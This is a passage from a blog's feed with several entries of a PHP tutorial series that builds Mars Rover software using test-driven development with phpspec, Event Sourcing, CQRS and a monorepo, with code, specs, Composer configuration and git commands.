        $roverDriven = $this-&gt;anEventHappened-&gt;justNow(Events::ROVER_DRIVEN, [
            'instruction' =&gt; $driveRover-&gt;getInstruction()-&gt;get(),
        ]);
        $this-&gt;eventStore-&gt;log($roverDriven);
    }
}
</code></pre>

<p>and finally in the test:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\EventSourcing\AnEventHappened;
use MarsRover\EventSourcing\Event;
use MarsRover\EventSourcing\EventStore;
use MarsRover\Navigation\DriveRover;
use MarsRover\Navigation\Events;
use MarsRover\Navigation\Instruction;
use PhpSpec\ObjectBehavior;

class DriveRoverHandlerSpec extends ObjectBehavior
{
    const DRIVING_INSTRUCTION = Instruction::MOVE_FORWARD;

    const EVENT_NAME = Events::ROVER_DRIVEN;
    const EVENT_DATA = [
        'instruction' =&gt; self::DRIVING_INSTRUCTION,
    ];

    function it_drives_a_rover_with_given_instruction(
        AnEventHappened $anEventHappened,
        Event $roverDriven,
        EventStore $eventStore
    ) {
        $this-&gt;beConstructedWith($anEventHappened, $eventStore);
        $driveRover = new DriveRover(
            self::DRIVING_INSTRUCTION
        );

        $anEventHappened-&gt;justNow(
            self::EVENT_NAME,
            self::EVENT_DATA
        )-&gt;willReturn($roverDriven);
        $eventStore-&gt;log($roverDriven)-&gt;shouldBeCalled();

        $this-&gt;handle($driveRover);
    }
}
</code></pre>

<p>We can run the tests one last time:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>Still green! We can commit our work:</p>

<pre><code>git add -A
git commit -m '4: Created DriveRoverHandler'
git checkout master
git merge --no-ff 4-driving
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>With Event Sourcing, the logic associated to our "Driving a Rover on Mars" use
case is quite simple: we just record it as an event.</p>

<h2 id="what%27s-next%3F">What's next?</h2>

<p>In the next article, we'll create a new package to take care of the last use
case: "Requesting the Rover's location".</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Driving instruction]]></title>
            <link href="/2016/08/17/mars-rover-driving-instruction.html"/>
            <updated>2016-08-17T00:00:00+01:00</updated>
            <id>/2016/08/17/mars-rover-driving-instruction.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It allows us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>We've already developed the first use case about landing the rover on mars,
and we've started the second one about driving it:</p>

<blockquote>
  <p>Once a rover has been landed on Mars it is possible to drive them, using
  instructions such as <code>move_forward</code> (keeps orientation, but moves along the
  <code>x</code> or <code>y</code> axis) or <code>turn_left</code> / <code>turn_right</code> (keeps the same coordinates,
  but changes the orientation).</p>
</blockquote>

<p>In this article we're going to refactor <code>DriveRover</code>:</p>

<pre><code>cd packages/navigation
git checkout -b 4-driving
</code></pre>

<h2 id="responsibilities">Responsibilities</h2>

<p>By having a look at <code>DriveRover</code>, we can guess that it has 1 reason to change:
the list of instruction might grow bigger.</p>

<p>This hints toward one new class: <code>Instruction</code>. Let's get cracking!</p>

<h2 id="instruction">Instruction</h2>

<p>First let's bootstrap the test class using <a href="http://phpspec.net">phpspec</a>:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\Navigation\Instruction'
</code></pre>

<p>This will create the following <code>spec/MarsRover/Navigation/InstructionSpec.php</code>
file:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Instruction;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class InstructionSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(Instruction::class);
    }
}
</code></pre>

<p>We can edit it reusing what we've done in <code>DriveRover</code> test class, only with
more information about the possible instruction:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use PhpSpec\ObjectBehavior;

class InstructionSpec extends ObjectBehavior
{
    const MOVE_FORWARD = 'move_forward';
    const TURN_LEFT = 'turn_left';
    const TURN_RIGHT = 'turn_right';

    const INVALID_INSTRUCTION = 'wake_up_polly_parrot';

    function it_can_be_move_forward()
    {
        $this-&gt;beConstructedWith(self::MOVE_FORWARD);

        $this-&gt;get()-&gt;shouldBe(self::MOVE_FORWARD);
    }

    function it_can_be_turn_left()
    {
        $this-&gt;beConstructedWith(self::TURN_LEFT);

        $this-&gt;get()-&gt;shouldBe(self::TURN_LEFT);
    }

    function it_can_be_turn_right()
    {
        $this-&gt;beConstructedWith(self::TURN_RIGHT);

        $this-&gt;get()-&gt;shouldBe(self::TURN_RIGHT);
    }

    function it_cannot_be_anything_else()
    {
        $this-&gt;beConstructedWith(self::INVALID_INSTRUCTION);

        $this-&gt;shouldThrow(
            \InvalidArgumentException::class
        )-&gt;duringInstantiation();
    }
}
</code></pre>

<p>Since this test is dedicated to instructions, we feel more free than in
<code>DriveRover</code> to describe all the possible instructions. If we run the tests
now, phpspec will bootstrap the <code>Instruction</code> class for us:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>Indeed, it created the <code>src/MarsRover/Navigation/Instruction.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Instruction
{
    public function __construct($argument)
    {
    }

    public function get()
    {
    }
}
</code></pre>

<p>All that's left for us to do is complete it, we can reuse the code in
<code>DriveRover</code>:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Instruction
{
    const MOVE_FORWARD = 'move_forward';
    const TURN_LEFT = 'turn_left';
    const TURN_RIGHT = 'turn_right';

    const VALID_INSTRUCTIONS = [
        self::MOVE_FORWARD,
        self::TURN_LEFT,
        self::TURN_RIGHT,
    ];

    private $instruction;

    public function __construct($instruction)
    {
        if (false === in_array($instruction, self::VALID_INSTRUCTIONS, true)) {
            throw new \InvalidArgumentException(
                'Instruction should be one of: '
                .implode(', ', self::VALID_INSTRUCTIONS)
            );
        }
        $this-&gt;instruction = $instruction;
    }

    public function get() : string
    {
        return $this-&gt;instruction;
    }
}
</code></pre>

<p>We can now run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! <code>Instruction</code> is ready to be used in <code>DriveRover</code>, so let's update
its test:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Instruction;
use PhpSpec\ObjectBehavior;

class DriveRoverSpec extends ObjectBehavior
{
    const DRIVING_INSTRUCTION = Instruction::MOVE_FORWARD;

    function it_has_a_driving_instruction()
    {
        $this-&gt;beConstructedWith(
            self::DRIVING_INSTRUCTION
        );

        $this-&gt;getInstruction()-&gt;get()-&gt;shouldBe(self::DRIVING_INSTRUCTION);
    }
}
</code></pre>

<p>We no longer need to check for invalid instructions as we trust <code>Instruction</code>
to take care of it for us. Now let's update its code:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class DriveRover
{
    private $instruction;

    public function __construct($instruction)
    {
        $this-&gt;instruction = new Instruction($instruction);
    }

    public function getInstruction() : Instruction
    {
        return $this-&gt;instruction;
    }
}
</code></pre>

<p>And that should make our tests pass:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! We can refactor <code>Instruction</code> test class a bit, by reusing
<code>Instruction</code> constants:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Instruction;
use PhpSpec\ObjectBehavior;

class InstructionSpec extends ObjectBehavior
{
    const MOVE_FORWARD = Instruction::MOVE_FORWARD;
    const TURN_LEFT = Instruction::TURN_LEFT;
    const TURN_RIGHT = Instruction::TURN_RIGHT;

    const INVALID_INSTRUCTION = 'wake_up_polly_parrot';

    function it_can_be_move_forward()
    {
        $this-&gt;beConstructedWith(self::MOVE_FORWARD);

        $this-&gt;get()-&gt;shouldBe(self::MOVE_FORWARD);
    }

    function it_can_be_turn_left()
    {
        $this-&gt;beConstructedWith(self::TURN_LEFT);

        $this-&gt;get()-&gt;shouldBe(self::TURN_LEFT);
    }

    function it_can_be_turn_right()
    {
        $this-&gt;beConstructedWith(self::TURN_RIGHT);

        $this-&gt;get()-&gt;shouldBe(self::TURN_RIGHT);
    }

    function it_cannot_be_anything_else()
    {
        $this-&gt;beConstructedWith(self::INVALID_INSTRUCTION);

        $this-&gt;shouldThrow(
            \InvalidArgumentException::class
        )-&gt;duringInstantiation();
    }
}
</code></pre>

<p>Let's run the tests one last time:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All <em>grin</em> ;) . That's enough for us to commit our work:</p>

<pre><code>git add -A
git commit -m '4: Created Instruction'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We've refactored <code>DriveRover</code> by extracting an <code>Instruction</code> value object. It
allowed us to write more tests to describe all the possible values.</p>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article, we'll write the actual driving logic.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Driving]]></title>
            <link href="/2016/08/10/mars-rover-driving.html"/>
            <updated>2016-08-10T00:00:00+01:00</updated>
            <id>/2016/08/10/mars-rover-driving.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It allows us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>We just finished developing the first use case, so we can now get cracking on
the second one, Driving the rover:</p>

<blockquote>
  <p>Once a rover has been landed on Mars it is possible to drive them, using
  instructions such as <code>move_forward</code> (keeps orientation, but moves along the
  <code>x</code> or <code>y</code> axis) or <code>turn_left</code> / <code>turn_right</code> (keeps the same coordinates,
  but changes the orientation).</p>
</blockquote>

<h2 id="drive-rover">Drive Rover</h2>

<p>Again, we start by creating a class with the name of our use case. It will
take care of doing a simple validation on the input provided by the user:</p>

<pre><code>cd packages/navigation
git checkout -b 4-driving
</code></pre>

<p>Using <a href="http://www.phpspec.net/en/stable/">phpspec</a>, we bootstrap the test
class:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\Navigation\DriveRover'
</code></pre>

<p>This should generate this <code>spec/MarsRover/Navigation/DriveRoverSpec.php</code> class:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\DriveRover;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class DriveRoverSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(DriveRover::class);
    }
}
</code></pre>

<p>This leaves us the task of editing it to start describing input parameters:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use PhpSpec\ObjectBehavior;

class DriveRoverSpec extends ObjectBehavior
{
    const DRIVING_INSTRUCTION = 'move_forward';

    function it_has_a_driving_instruction()
    {
        $this-&gt;beConstructedWith(
            self::DRIVING_INSTRUCTION
        );

        $this-&gt;getInstruction()-&gt;shouldBe(self::DRIVING_INSTRUCTION);
    }
}
</code></pre>

<p>We can now run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>This will generate the <code>src/MarsRover/Navigation/DriveRover.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class DriveRover
{
    private $argument;

    public function __construct($argument)
    {
        $this-&gt;argument = $argument;
    }

    public function getInstruction()
    {
    }
}
</code></pre>

<p>All we need to do is to edit it:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class DriveRover
{
    private $instruction;

    public function __construct($instruction)
    {
        $this-&gt;instruction = $instruction;
    }

    public function getInstruction() : string
    {
        return $this-&gt;instruction;
    }
}
</code></pre>

<p>Let's check the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! Now let's add some unhappy scenarios to our tests:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use PhpSpec\ObjectBehavior;

class DriveRoverSpec extends ObjectBehavior
{
    const DRIVING_INSTRUCTION = 'move_forward';
    const INVALID_DRIVING_INSTRUCTION = 'wake_up_polly_parrot';

    function it_has_a_driving_instruction()
    {
        $this-&gt;beConstructedWith(
            self::DRIVING_INSTRUCTION
        );

        $this-&gt;getInstruction()-&gt;shouldBe(self::DRIVING_INSTRUCTION);
    }

    function it_cannot_have_invalid_instruction()
    {
        $this-&gt;beConstructedWith(
            self::INVALID_DRIVING_INSTRUCTION
        );

        $this-&gt;shouldThrow(
            \InvalidArgumentException::class
        )-&gt;duringInstantiation();
    }
}
</code></pre>

<p>We can run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>They fail! So let's complete the code:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class DriveRover
{
    const VALID_INSTRUCTIONS = [
        'move_forward',
        'turn_left',
        'turn_right',
    ];

    private $instruction;

    public function __construct($instruction)
    {
        if (false === in_array($instruction, self::VALID_INSTRUCTIONS, true)) {
            throw new \InvalidArgumentException(
                'Instruction should be one of: '
                .implode(', ', self::VALID_INSTRUCTIONS)
            );
        }
        $this-&gt;instruction = $instruction;
    }

    public function getInstruction() : string
    {
        return $this-&gt;instruction;
    }
}
</code></pre>

<p>And re-run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! We can now commit our work:</p>

<pre><code>git add -A
git commit -m '4: Created DriveRover'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We've followed again the TDD methodology: write the test, then the code. We
took care of describing first the happy scenario and then unhappy scenarios to
cover all the cases.</p>

<p>We've also used the same twist on the Command Bus pattern: we created a Command
class that describes the use case (drive the rover) and does a simple
validation on the input.</p>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article, we'll proceed to the third step of TDD: refactoring
<code>DriveRover</code> by extracting <code>Instruction</code> in its own class.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Event Sourcing code]]></title>
            <link href="/2016/08/03/mars-rover-event-sourcing-code.html"/>
            <updated>2016-08-03T00:00:00+01:00</updated>
            <id>/2016/08/03/mars-rover-event-sourcing-code.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to the
<a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It will allow us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>Up until now, we've implemented the first use case, "Landing a rover on Mars":</p>

<blockquote>
  <p>Mars Rovers need first to be landed at a given position. A position is
  composed of coordinates (<code>x</code> and <code>y</code>, which are both integers) and an
  orientation (a string being one of <code>north</code>, <code>east</code>, <code>west</code> or <code>south</code>).</p>
</blockquote>

<p>We've also created an <code>event-sourcing</code> package with the following interfaces:</p>

<ul>
<li><code>Event</code>, a Data Transfer Object (DTO) that contains the name and the data</li>
<li><code>AnEventHappened</code>, which is actually an <code>Event</code> factory</li>
<li><code>EventStore</code>, a service responsible for "logging" <code>Event</code>s</li>
</ul>

<p>In this article, we're going to implement them.</p>

<h2 id="event">Event</h2>

<p>Let's start by asking <a href="http://phpspec.net/">phpspec</a> to generate the test
class:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\EventSourcing\Event'
</code></pre>

<p>It should have generated the following
<code>spec/MarsRover/EventSourcing/EventSpec.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\EventSourcing;

use MarsRover\EventSourcing\Event;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class EventSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(Event::class);
    }
}
</code></pre>

<p>We're going to start writing test methods that describe what kind of data this
DTO holds:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\EventSourcing;

use PhpSpec\ObjectBehavior;

class EventSpec extends ObjectBehavior
{
    const NAME = 'something_happened';
    const DATA = [
        'message' =&gt; 'We are the knights who say Ni!',
    ];

    function let(\DateTime $receivedAt)
    {
        $this-&gt;beConstructedWith(
            self::NAME,
            self::DATA,
            $receivedAt
        );
    }

    function it_has_a_name()
    {
        $this-&gt;getName()-&gt;shouldBe(self::NAME);
    }

    function it_has_data()
    {
        $this-&gt;getData()-&gt;shouldBe(self::DATA);
    }

    function it_has_been_received_at_a_date_and_time(\DateTime $receivedAt)
    {
        $this-&gt;getReceivedAt()-&gt;shouldBe($receivedAt);
    }
}
</code></pre>

<p>We can now run the tests to bootstrap the class:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>It will overwrite the existing <code>src/MarsRover/EventSourcing/Event.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\EventSourcing;

use DateTimeInterface;

class Event
{
    public function __construct($argument1, array $argument2, DateTimeInterface $dateTime)
    {
    }

    public function getName()
    {
    }

    public function getData()
    {
    }

    public function getReceivedAt()
    {
    }
}
</code></pre>

<p>We can edit it to make the tests pass:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\EventSourcing;

class Event
{
    private $name;
    private $data;
    private $receivedAt;

    public function __construct(
        string $name,
        array $data,
        \DateTimeInterface $receivedAt
    ) {
        $this-&gt;name = $name;
        $this-&gt;data = $data;
        $this-&gt;receivedAt = $receivedAt;
    }

    public function getName() : string
    {
        return $this-&gt;name;
    }

    public function getData() : array
    {
        return $this-&gt;data;
    }

    public function getReceivedAt() : \DateTimeInterface
    {
        return $this-&gt;receivedAt;
    }
}
</code></pre>

<p>Let's check if everything is alright:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>And it is! Time to commit our work:</p>

<pre><code>git add -A
git commit -m '3: Created Event'
</code></pre>

<h2 id="aneventhappened">AnEventHappened</h2>

<p>The next class to implement is <code>AnEventHappened</code>. Let's create its test:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\EventSourcing\AnEventHappened'
</code></pre>

<p>It should generate the <code>spec/MarsRover/EventSourcing/AnEventHappenedSpec.php</code>
file:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\EventSourcing;

use MarsRover\EventSourcing\AnEventHappened;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class AnEventHappenedSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(AnEventHappened::class);
    }
}
</code></pre>

<p>We can start describing this factory by writing test methods:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\EventSourcing;

use MarsRover\EventSourcing\Event;
use PhpSpec\ObjectBehavior;

class AnEventHappenedSpec extends ObjectBehavior
{
    const NAME = 'something_happened';
    const DATA = [
        'message' =&gt; 'And now for something completly different',
    ];

    function it_can_create_events()
    {
        $this-&gt;justNow(self::NAME, self::DATA)-&gt;shouldHaveType(Event::class);
    }
}
</code></pre>

<p>Running the tests will generate the class:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>It should have overwritten the
<code>src/MarsRover/EventSourcing/AnEventHappened.php</code> file with:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\EventSourcing;

class AnEventHappened
{
    public function justNow($argument1, $argument2)
    {
    }
}
</code></pre>

<p>We can now complete it:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\EventSourcing;

class AnEventHappened
{
    public function justNow(string $name, array $data) : Event
    {
        return new Event($name, $data, new \DateTime());
    }
}
</code></pre>

<p>Let's run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! Time to commit:</p>

<pre><code>git add -A
git commit -m 'Created AnEventHappened'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We replaced the generated interfaces for <code>AnEventHappened</code> and <code>Event</code> with
classes, which have been tested.</p>

<p><code>EventStore</code> could log events in a log file, or in a database, or send them as
messages to a queue to be treated later... For that reason we'll keep the
interface.</p>

<p>We're going to delay its implementations for later, when the rover will be
almost done.</p>

<p>If we run the tests from the project's root, we'll see that it runs tests for
both <code>navigation</code> and <code>event-sourcing</code> in one go. This is one advantage of
MonoRepo: it makes it easy to make sure that changes in a package don't break
the other that depend on it.</p>

<p>We can now merge our branch:</p>

<pre><code>cd ../../
git checkout master
git merge --no-ff 3-event-sourcing
</code></pre>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article we'll start developing the second use case: Driving the
rover.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Event Sourcing package]]></title>
            <link href="/2016/07/27/mars-rover-event-sourcing-package.html"/>
            <updated>2016-07-27T00:00:00+01:00</updated>
            <id>/2016/07/27/mars-rover-event-sourcing-package.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to the
<a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It will allow us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>Up until now, we've implemented the first use case, "Landing a rover on Mars":</p>

<blockquote>
  <p>Mars Rovers need first to be landed at a given position. A position is
  composed of coordinates (<code>x</code> and <code>y</code>, which are both integers) and an
  orientation (a string being one of <code>north</code>, <code>east</code>, <code>west</code> or <code>south</code>).</p>
</blockquote>

<p>In order to do so, we've:</p>

<ul>
<li>created a <a href="/2016/06/22/mars-rover-initialization.html">navigation package</a></li>
<li>created <a href="/2016/06/29/mars-rover-landing.html">LandRover for input validation</a></li>
<li>refactored it by:

<ul>
<li>extracting <a href="/2016/07/06/mars-rover-landing-coordinates.html">Coordinates</a></li>
<li>extracting <a href="/2016/07/13/mars-rover-landing-orientation.html">Orientation</a></li>
</ul></li>
<li>created <a href="/2016/07/20/mars-rover-landing-event.html">LandRoverHandler for the actual logic</a></li>
</ul>

<p>In the last article, we wrote some Event Sourcing code:</p>

<ul>
<li><code>Event</code>, a Data Transfer Object (DTO) that contains the name and the data</li>
<li><code>AnEventHappened</code>, which is actually an <code>Event</code> factory</li>
<li><code>EventStore</code>, a service responsible for "logging" <code>Event</code>s</li>
</ul>

<p>In this article, we're going to extract them from the <code>navigation</code> package and
put them in their own <code>event-sourcing</code> package.</p>

<h2 id="creating-the-%60event-sourcing%60-package">Creating the <code>event-sourcing</code> package</h2>

<p>We can start by creating the directory:</p>

<pre><code>git checkout -b 3-event-sourcing
mkdir -p packages/event-sourcing
cd packages/event-sourcing
</code></pre>

<p>Composer needs us to set up the package by creating a <code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/event-sourcing",
    "license": "MIT",
    "type": "library",
    "description": "Mars Rover - Event Sourcing",
    "autoload": {
        "psr-4": { "MarsRover\\EventSourcing\\": "src/MarsRover/EventSourcing" }
    },
    "require": {
        "php": "^7.0"
    },
    "require-dev": {
        "memio/spec-gen": "^0.6"
    }
}
</code></pre>

<p>We've decided to use <a href="http://phpspec.net/">phpspec</a> as a test framework, and
to get the most of it we'd like to use its <a href="http://memio.github.io/spec-gen">SpecGen</a>
extension. To do so we need to create the <code>phpspec.yml.dist</code> file:</p>

<pre><code>extensions:
    Memio\SpecGen\MemioSpecGenExtension: ~
</code></pre>

<blockquote>
  <p><strong>Note</strong>: For more information about phpspec
  <a href="/2015/08/03/phpspec.html">see this article</a>.</p>
</blockquote>

<p>Finally, we can configure this package's git by creating a <code>.gitignore</code> file:</p>

<pre><code># Configuration
/phpspec.yml

# Third Party libraries
/vendor/
/composer.lock
</code></pre>

<p>With this we've finished creating our package. We can run Composer:</p>

<pre><code>composer install --optimize-autoloader
</code></pre>

<p>That should be enough for a second commit:</p>

<pre><code>git add -A
git commit -m '3: Created Event Sourcing package'
</code></pre>

<h2 id="adding-%60event-sourcing%60-to-the-project">Adding <code>event-sourcing</code> to the project</h2>

<p>Let's go back to the project's root:</p>

<pre><code>cd ../../
</code></pre>

<p>All we need to do is to add a new line in the <code>require</code> section of our
<code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/mars-rover",
    "license": "MIT",
    "type": "project",
    "description": "Mars Rover",
    "repositories": [
        {
            "type": "path",
            "url": "./packages/*"
        }
    ],
    "require": {
        "mars-rover/event-sourcing": "*@dev",
        "mars-rover/navigation": "*@dev",
        "php": "^7.0"
    },
    "require-dev": {
        "phpspec/phpspec": "^3.0@beta"
    }
}
</code></pre>

<p>Actually, we also need to add a new section in <code>phpspec.yml.dist</code>:</p>

<pre><code>suites:
    event-sourcing:
        namespace: 'MarsRover\EventSourcing'
        src_path: packages/event-sourcing/src
        spec_path: packages/event-sourcing

    navigation:
        namespace: 'MarsRover\Navigation'
        src_path: packages/navigation/src
        spec_path: packages/navigation
</code></pre>

<p>And that's it! We are now able to run Composer and then phpspec:</p>

<pre><code>composer update --optimize-autoloader
vendor/bin/phpspec run
</code></pre>

<p>That should be enough for a second commit:</p>

<pre><code>git add -A
git commit -m '3: Added event-sourcing package to main project'
</code></pre>

<h2 id="event-sourcing-files">Event Sourcing files</h2>

<p>It's now time to move Event Sourcing files from <code>navigation</code> to
<code>event-sourcing</code>:</p>

<pre><code>cd packages/event-sourcing
mkdir -p src/MarsRover/EventSourcing
mv ../navigation/src/MarsRover/Navigation/{EventStore.php,Event.php,AnEventHappened.php} ./src/MarsRover/EventSourcing/
</code></pre>

<p>We then need to change namespaces:</p>

<pre><code>sed -i 's/Navigation/EventSourcing/g' ./src/MarsRover/EventSourcing/*
</code></pre>

<p>To continue those namespace changes we'll have to move back to the <code>navigation</code>
package:</p>

<pre><code>cd ../navigation
</code></pre>

<p>Then rename the namespaces:</p>

<pre><code>sed -i 's/Navigation\\Event;/EventSourcing\\Event;/g' ./spec/MarsRover/Navigation/*
sed -i 's/Navigation\\EventStore;/EventSourcing\\EventStore;/g' ./spec/MarsRover/Navigation/*
sed -i 's/Navigation\\AnEventHappened;/EventSourcing\\AnEventHappened;/g' ./spec/MarsRover/Navigation/*
</code></pre>

<p>We'll also need to add use statements to
<code>./src/MarsRover/Navigation/LandRoverHandler.php</code>:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

use MarsRover\EventSourcing\{
    AnEventHappened,
    EventStore
};

class LandRoverHandler
{
    private $anEventHappened;
    private $eventStore;

    public function __construct(
        AnEventHappened $anEventHappened,
        EventStore $eventStore
    ) {
        $this-&gt;anEventHappened = $anEventHappened;
        $this-&gt;eventStore = $eventStore;
    }

    public function handle(LandRover $landRover)
    {
        $roverLanded = $this-&gt;anEventHappened-&gt;justNow(Events::ROVER_LANDED, [
            'x' =&gt; $landRover-&gt;getCoordinates()-&gt;getX(),
            'y' =&gt; $landRover-&gt;getCoordinates()-&gt;getY(),
            'orientation' =&gt; $landRover-&gt;getOrientation()-&gt;get(),
        ]);
        $this-&gt;eventStore-&gt;log($roverLanded);
    }
}
</code></pre>

<p>Since <code>navigation</code> now relies on <code>event-sourcing</code> classes, we need to add it in
<code>composer.json</code>:</p>

<pre><code>{
    "name": "mars-rover/navigation",
    "license": "MIT",
    "type": "library",
    "description": "Mars Rover - Navigation",
    "autoload": {
        "psr-4": { "MarsRover\\Navigation\\": "src/MarsRover/Navigation" }
    },
    "repositories": [
        {
            "type": "path",
            "url": "../*"
        }
    ],
    "require": {
        "mars-rover/event-sourcing": "*@dev",
        "php": "^7.0"
    },
    "require-dev": {
        "memio/spec-gen": "^0.6"
    }
}
</code></pre>

<p>As we can see, it's quite similar to what we've done in the project's root:
we've added a <code>repositories</code> section with the path to packages (<code>../</code>) and
then added <code>mars-rover/event-sourcing</code> to the <code>require</code> section, with the
version <code>*@dev</code> (any version, including unstable ones).</p>

<p>We are now able to run Composer:</p>

<pre><code>composer update --optimize-autoloader
</code></pre>

<p>Let's run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! We can now succesfully commit our new package:</p>

<pre><code>cd ../../
git add -A
git commit -m '3: Moved Event Sourcing classes to their own package'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We identified <code>AnEventHappened</code>, <code>Event</code> and <code>EventStore</code> as objects that
could be in their own package, so we created <code>event-sourcing</code> and moved them
in it. This also meant we had to add this package to the project's root and to
navigation.</p>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article, we'll implement <code>AnEventHappened</code> and <code>Event</code>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Landing event]]></title>
            <link href="/2016/07/20/mars-rover-landing-event.html"/>
            <updated>2016-07-20T00:00:00+01:00</updated>
            <id>/2016/07/20/mars-rover-landing-event.html</id>
            <content type="html"><![CDATA[<p>In this series we're going to build the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It will allow us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>Previously we've created a
<a href="/2016/06/22/mars-rover-initialization.html">navigation package</a>, and in it
a <code>LandRover</code> class that
<a href="/2016/06/29/mars-rover-landing.html">validates input parameters</a> for our
first use case:</p>

<blockquote>
  <p>Mars Rovers need first to be landed at a given position. A position is
  composed of coordinates (<code>x</code> and <code>y</code>, which are both integers) and an
  orientation (a string being one of <code>north</code>, <code>east</code>, <code>west</code> or <code>south</code>).</p>
</blockquote>

<p>We've then refactored it to extract
<a href="/2016/07/06/mars-rover-landing-coordinates.html">coordinates</a>
and <a href="/2016/07/13/mars-rover-landing-orientation.html">orientation</a>
in their own classes.</p>

<p>In this article we're going to create the actual landing logic, using
Event Sourcing:</p>

